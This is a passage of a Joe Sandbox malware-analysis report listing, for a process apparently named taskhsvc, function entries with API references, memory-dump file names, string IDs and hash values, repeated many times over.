                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail_getcwd
                                                                                                                          • String ID: C:\Users\user\AppData\Roaming\tor$c9$b
                                                                                                                          • API String ID: 4080616277-585711846
                                                                                                                          • Opcode ID: 920b6cce9b8c05e972d198f3236eef08e21078b96c7105f27339654af291d375
                                                                                                                          • Instruction ID: 80f8b6762bdd791e3edf289a4ede48a13ec31e15eb4b8fa12a5cac1e7030a57f
                                                                                                                          • Opcode Fuzzy Hash: 920b6cce9b8c05e972d198f3236eef08e21078b96c7105f27339654af291d375
                                                                                                                          • Instruction Fuzzy Hash: 93410BB09043189FDB14DF29D9867CABBF0FF84304F008969E589AB350D7749988DF62
                                                                                                                          Function 00CA75C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • time.MSVCRT ref: 00CA75F0
                                                                                                                            • Part of subcall function 00C3F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C26074), ref: 00C3F7B2
                                                                                                                          • abort.MSVCRT ref: 00CA7690
                                                                                                                          • abort.MSVCRT ref: 00CA76E2
                                                                                                                          • event_add.LIBEVENT-2-0-5 ref: 00CA7713
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00CA7724
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortstrrchr$event_addtime
                                                                                                                          • String ID: A
                                                                                                                          • API String ID: 2004909516-3554254475
                                                                                                                          • Opcode ID: 6ab26c033ad6d230585bdb2f0143c2bab2bd61d661c45f81693722afd32c89c6
                                                                                                                          • Instruction ID: fec6acb395262791cc138b085a0be68bcbfde3238beff853fe79f0d8d75d88a2
                                                                                                                          • Opcode Fuzzy Hash: 6ab26c033ad6d230585bdb2f0143c2bab2bd61d661c45f81693722afd32c89c6
                                                                                                                          • Instruction Fuzzy Hash: D241C5B490870ADFCB00EFA8D58569EBBF0FF48344F149819E598A7341D7789A84CF62
                                                                                                                          Function 00CD33E8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 89COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00CD40CE: abort.MSVCRT ref: 00CD412D
                                                                                                                            • Part of subcall function 00CD40CE: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00C8B8C3), ref: 00CD416C
                                                                                                                          • abort.MSVCRT ref: 00CD348F
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00CD3545
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabort
                                                                                                                          • String ID: `r$authority$mirror$pd
                                                                                                                          • API String ID: 3276312271-176802504
                                                                                                                          • Opcode ID: a28667a95fe0d7c52348300ebe0c5c44e198d456e8a5c80be217eaabe977aa85
                                                                                                                          • Instruction ID: 60802adf00c676861c0731500be6e786dc0dda282081ae4cf20317ca553b6524
                                                                                                                          • Opcode Fuzzy Hash: a28667a95fe0d7c52348300ebe0c5c44e198d456e8a5c80be217eaabe977aa85
                                                                                                                          • Instruction Fuzzy Hash: E44196B49043099FCB40DFA8C5856AEBBF0BF48314F51982AE998E7301D374D940DF62
                                                                                                                          Function 00BE12F9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: malloc$_cexitmemcpystrlen
                                                                                                                          • String ID: :[#
                                                                                                                          • API String ID: 701060287-4186674397
                                                                                                                          • Opcode ID: 6ccbad0fce6ffb05fd4369311d0320859f83eac771f519fe6221914aa37a59fd
                                                                                                                          • Instruction ID: 815e8e64d03b84c046abc3d3de4ea08e594e19a68a29fed30db2b77b782db923
                                                                                                                          • Opcode Fuzzy Hash: 6ccbad0fce6ffb05fd4369311d0320859f83eac771f519fe6221914aa37a59fd
                                                                                                                          • Instruction Fuzzy Hash: 1E316EB59083558FCB20EF6AD88069EB7F6FB44300F144969E848A7321E330A84ACF51
                                                                                                                          Function 00BE12E9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
